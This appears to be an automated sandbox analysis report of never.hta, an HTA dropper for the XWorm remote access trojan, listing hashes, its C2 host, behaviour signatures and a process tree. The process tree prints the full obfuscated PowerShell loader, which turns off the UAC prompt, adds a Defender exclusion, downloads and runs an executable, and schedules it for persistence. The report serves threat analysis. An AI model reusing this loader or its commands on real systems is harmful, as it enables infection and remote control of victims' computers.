Analysis

  • max time kernel
    29s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    24-01-2025 23:04

General

  • Target

    never.hta

  • Size

    11KB

  • MD5

    ea742132a205bf7b433598cb2a8fa3f5

  • SHA1

    43a79f227c20901143be107f6922740acc54cf29

  • SHA256

    183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a

  • SHA512

    3983d17c65890c9e5d52a2a486b97a7e3ffa3d5a9a81d25739ac33cfc0db9d68647d202d0c845183b4e6f019be398e6f3a339204e8f64e87a73327fb1d2553c4

  • SSDEEP

    192:RxzslVZBh+kMufgTcPOGYhPE90KZEMx5DTmoRjtP/83anTnChFJkEFRhPSS:RWvMuYJOnTmoRtEKnTChISh6S

Malware Config

Extracted

Family

xworm

Version

3.1

C2

needforrat.hopto.org:7000

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\never.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function mTxDUxaScYmr($LqgFFPWj, $lVgtUaSQwbRXQClp){[IO.File]::WriteAllBytes($LqgFFPWj, $lVgtUaSQwbRXQClp)};function zYuVqWK($LqgFFPWj){if($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43858,43866,43866))) -eq $True){rundll32.exe $LqgFFPWj }elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43870,43873,43807))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $LqgFFPWj}elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43867,43873,43863))) -eq $True){misexec /qn /i $LqgFFPWj}else{Start-Process $LqgFFPWj}};function ueJWAHPbJFrFhUAtPKf($zxfGsNthtwq){$TCvpArgzJufvl = New-Object (BuXuLXiijdTMRmDi @(43836,43859,43874,43804,43845,43859,43856,43825,43866,43863,43859,43868,43874));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$lVgtUaSQwbRXQClp = $TCvpArgzJufvl.DownloadData($zxfGsNthtwq);return $lVgtUaSQwbRXQClp};function BuXuLXiijdTMRmDi($GfcAO){$dZwGHElOYQ=43758;$IHZVeSlpJsUJNPA=$Null;foreach($kTBuzMksTQXtM in $GfcAO){$IHZVeSlpJsUJNPA+=[char]($kTBuzMksTQXtM-$dZwGHElOYQ)};return $IHZVeSlpJsUJNPA};function uqElSPqCUKRSUqTItU(){$MhGWljTYDYPGF = $env:AppData + '\';Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0;$FxRqYVoPEMaIQDGEmVIr=$env:AppData; Add-MpPreference -ExclusionPath $FxRqYVoPEMaIQDGEmVIr;$dalTxgqsQiNh = $MhGWljTYDYPGF + 'new.exe'; if (Test-Path -Path $dalTxgqsQiNh){zYuVqWK $dalTxgqsQiNh;}Else{ $ztEoJaUP = ueJWAHPbJFrFhUAtPKf (BuXuLXiijdTMRmDi @(43862,43874,43874,43870,43816,43805,43805,43808,43807,43806,43804,43811,43812,43804,43807,43809,43804,43807,43807,43810,43805,43868,43859,43877,43804,43859,43878,43859));mTxDUxaScYmr $dalTxgqsQiNh $ztEoJaUP;zYuVqWK $dalTxgqsQiNh;};;;;}uqElSPqCUKRSUqTItU;" uac
      2⤵
      • UAC bypass
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Users\Admin\AppData\Roaming\new.exe
        "C:\Users\Admin\AppData\Roaming\new.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2728
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "new" /tr "C:\Users\Admin\AppData\Roaming\new.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1736
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {D60E11B7-2CAC-4450-BDD0-BF5ECB5F2B2A} S-1-5-21-3551809350-4263495960-1443967649-1000:NNYJZAHP\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Users\Admin\AppData\Roaming\new.exe
      C:\Users\Admin\AppData\Roaming\new.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2904

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \Users\Admin\AppData\Roaming\new.exe

    Filesize

    75KB

    MD5

    4c2a997fa2661fbfe14db1233b16364c

    SHA1

    e48025dbd61de286e13b25b144bf4da5da62761a

    SHA256

    c2a299f988158d07a573a21621b00b1577b7c232f91c1442ba30d272e4414c5d

    SHA512

    529a26f4769c7be0986e16d8e0bf37632b7b723a3e8d9fa8bb3f9cc4d766bd4d24a802d6aa43fe4df85c23cd680b0188c7e1eaff443a30203b298ba916aa0a57

  • memory/2728-17-0x0000000000F60000-0x0000000000F7A000-memory.dmp

    Filesize

    104KB